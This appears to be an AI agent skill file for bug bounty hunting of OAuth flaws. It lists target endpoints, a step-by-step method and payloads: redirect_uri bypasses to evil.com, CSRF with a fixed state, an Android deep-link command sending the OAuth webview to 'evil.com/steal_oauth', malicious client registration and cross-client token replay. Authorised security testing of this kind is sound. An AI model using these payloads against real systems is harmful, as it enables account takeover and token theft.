hunt-oauth

---

name: hunt-oauth description: Hunting skill for oauth vulnerabilities. Built from 19 public bug bounty reports. Use when hunting oauth on any target. sources: github, hackerone_public, salt_labs, descope, detectify_labs, harel_research report_count: 22

Crown Jewel Targets

OAuth vulnerabilities are among the highest-value bug classes in web security because they directly enable account takeover, session theft, and authentication bypass — the trifecta that programs pay most for.

Highest-value targets:

• Consumer identity providers (Google, Facebook, PayPal, Apple SSO integrations) — any compromise cascades across all relying parties
• Mobile apps with custom deep link OAuth handlers — Android/iOS intent handling is notoriously loose
• Multi-tenant SaaS platforms (GitLab, Reddit-scale apps) where one OAuth flaw hits millions of accounts
• Gaming/entertainment platforms with federated login (Rockstar, Oculus) — often security-immature teams
• Enterprise SSO connectors — critical infrastructure, high severity payouts

Asset types that pay most:

• OAuth authorization endpoints (/oauth/authorize, /connect/authorize)
• Token exchange endpoints (/oauth/token)
• Mobile deep link handlers (push_notification_webview, custom scheme URIs)
• Social login callback handlers (/auth/callback, /oauth/callback)

Typical payouts: $500–$20,000+ depending on program; account takeover findings often hit max bounty.

---

Attack Surface Signals

URL Patterns to Hunt

/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview

Response Headers That Signal OAuth

Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)

JavaScript Patterns (grep in JS bundles)

redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://

Tech Stack Signals

• Android apps with intent-filter in AndroidManifest.xml handling http:// or custom scheme URIs
• Apps using Doorkeeper, OmniAuth, Devise (Ruby), Passport.js (Node), Spring Security OAuth
• Social login buttons (Google, Facebook, Apple) = OAuth surface guaranteed
• .well-known/openid-configuration present = full OIDC surface available

---

Step-by-Step Hunting Methodology

1. Enumerate all OAuth entry points

   • Spider the app for /oauth, /connect, /auth, /login paths
   • Check .well-known/openid-configuration and .well-known/oauth-authorization-server
   • Decompile mobile APKs: apktool d app.apk and grep for redirect_uri, intent://, deep link schemes

2. Map the full OAuth flow

   • Capture the authorization request: note client_id, redirect_uri, state, nonce, response_type
   • Capture the callback: note where tokens/codes land, what validates state/nonce

3. Test redirect_uri validation (highest yield)

   • Try exact host bypass: redirect_uri=https://legit.com.evil.com
   • Try path traversal: redirect_uri=https://legit.com/callback/../../../evil
   • Try open redirects on the legitimate domain first, then chain into OAuth
   • Try parameter pollution: redirect_uri=https://legit.com&redirect_uri=https://evil.com
   • Try encoded characters: %2F, %40, %23 to confuse parsers

4. Test state parameter (CSRF)

   • Remove state entirely — does the flow complete?
   • Reuse a fixed state value across sessions
   • Check if state is validated server-side or only client-side

5. Test nonce parameter (replay/bypass)

   • Capture a nonce from one flow, attempt to replay it in another
   • Check if nonce is validated after token exchange
   • Test if nonce can be extracted via referrer leak (step 9)

6. Test authentication step completeness

   • For multi-step auth (e.g., email verification + OAuth): can you skip to /oauth/token directly?
   • Check if partial auth state (unverified email) is accepted by the token endpoint

7. Hunt referrer leakage

   • After OAuth callback with tokens in URL fragment or query, check if any on-page resources (images, scripts, iframes) receive the full Referer header
   • Look specifically at language switchers, analytics calls, social share buttons triggered post-auth

8. Test mobile deep links

   • For Android: craft malicious intent URIs that redirect the OAuth webview to attacker-controlled URLs
   • Check if deep link handlers validate the origin/host before loading
   • Test push_notification_webview patterns that accept arbitrary URLs

9. Test misconfigured client credentials

   • Check if client_secret appears in JS bundles or APK resources
   • Test if token endpoint accepts arbitrary redirect_uri values when combined with leaked client_id/client_secret

10. Verify and document

    • Confirm state is not validated → CSRF to account link
    • Confirm token lands on attacker domain → session theft
    • Confirm email verification skippable → auth bypass
    • Run Gate 0 check before reporting

---

Payload & Detection Patterns

redirect_uri Bypass Payloads

# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://legit.com@evil.com

# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com

# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com

# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb

# URL encoded slashes
https://legit.com%2F@evil.com
https://legit.com%252F..%252F..evil.com

State CSRF Test

# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"

# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE

Nonce Extraction via Referrer

# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
  -H "Referer: https://evil.com" \
  --max-redirs 0

# Grep JS for outbound calls made on callback page
grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html

Mobile Deep Link Exploit (Android)

# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
  -d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"

# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>

Token Endpoint Auth Bypass

# Test unauthenticated token exchange (skip email verification)
curl -X POST https://target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=CAPTURED_CODE" \
  -d "client_id=CLIENT_ID" \
  -d "redirect_uri=https://legit.com/callback"

# Test with unverified account credentials
curl -X POST https://target.com/oauth/token \
  -d "grant_type=password" \
  -d "username=unverified@evil.com" \
  -d "password=password123" \
  -d "client_id=CLIENT_ID"

Grep Patterns for Recon

# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .

# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header

# Check .well-known
curl https://target.com/.well-known/openid-configuration | python3 -m json.tool

OIDC Discovery & Dynamic Registration Abuse

# Enumerate OIDC endpoints (esp. registration_endpoint)
curl -s https://idp/.well-known/openid-configuration | jq '{authorization_endpoint, token_endpoint, jwks_uri, registration_endpoint, response_types_supported}'

# If registration_endpoint is open, register a malicious client with attacker redirect_uri
curl -X POST https://idp/connect/register \
  -H "Content-Type: application/json" \
  -d '{"client_name":"legit-app","redirect_uris":["https://attacker/cb"]}'

Cross-Client Token Confusion

# Mint token for client A, attempt replay on client B's API
TOKEN=$(curl -s https://idp/oauth/token \
  -d "code=$AUTH_CODE&client_id=CLIENT_A&client_secret=SECRET_A&redirect_uri=https://app-a.com/cb" | jq -r .access_token)

# Test if client B's API accepts the token (no audience validation)
curl https://api.app-b.com/admin -H "Authorization: Bearer $TOKEN"

OIDC prompt=none Silent Re-Auth Test

# Test whether adding prompt=none to authorize request yields a token without user interaction
# Signals session fixation / silent auth abuse potential
curl -v "https://idp/authorize?client_id=APP&redirect_uri=https://app/cb&response_type=code&state=XYZ&prompt=none"

---

Common Root Causes

1. Weak redirect_uri validation — developers whitelist by prefix (startsWith) rather than exact match, or whitelist an entire domain instead of specific paths. A sub-path open redirect on the same domain then becomes a full token theft primitive.

2. Missing or unvalidated state parameter — developers implement OAuth by following basic tutorials that omit CSRF protection, or validate state client-side only in JavaScript (easily bypassed).

3. Nonce not validated post-exchange — nonce is generated and sent in the request but never verified against the ID token after the code exchange, making replay attacks possible.

4. Authentication step ordering not enforced server-side — teams implement multi-step auth (signup → email verify → OAuth grant) but don't enforce the sequence server-side. The token endpoint doesn't check completion of prerequisite steps.

5. Token/code in URL with outbound requests on callback page — developers land users on a callback page with tokens in the query string, then that page fires analytics, social share, or CDN requests that leak the full URL via Referer header.

6. Mobile deep link handlers trust all input URLs — Android/iOS developers build webview wrappers for push notification flows without validating that the loaded URL belongs to their own domain.

7. Misconfigured OAuth application registration — developers register wildcard redirect URIs (https://*.example.com/*) or don't restrict them at all during development and forget to lock down for production.

8. Client secrets embedded in mobile apps — treating confidential client credentials as public, enabling an attacker with the secret to perform token requests with arbitrary redirect URIs.

9. OIDC sub claim ambiguity across identity providers — apps accepting login from multiple IdPs (Google, Microsoft, Apple) may key accounts on sub alone without IdP isolation. If two IdPs emit the same sub for different users, one IdP's attacker hijacks accounts linked to the other IdP.

---

Bypass Techniques

Defender: Exact-match redirect_uri whitelist

Bypass: Find an open redirect on the whitelisted domain itself, then use that URL as the redirect_uri. The OAuth server validates the registered domain ✓, but the open redirect bounces the code/token to attacker.

redirect_uri=https://legit.com/logout?next=https://evil.com

Defender: state parameter required

Bypass: Check if state is validated for length/format but not binding to session. Use a fixed predictable state value. Also check if PKCE is enforced — if not, the state check alone is insufficient for code injection.

Defender: Fragment-only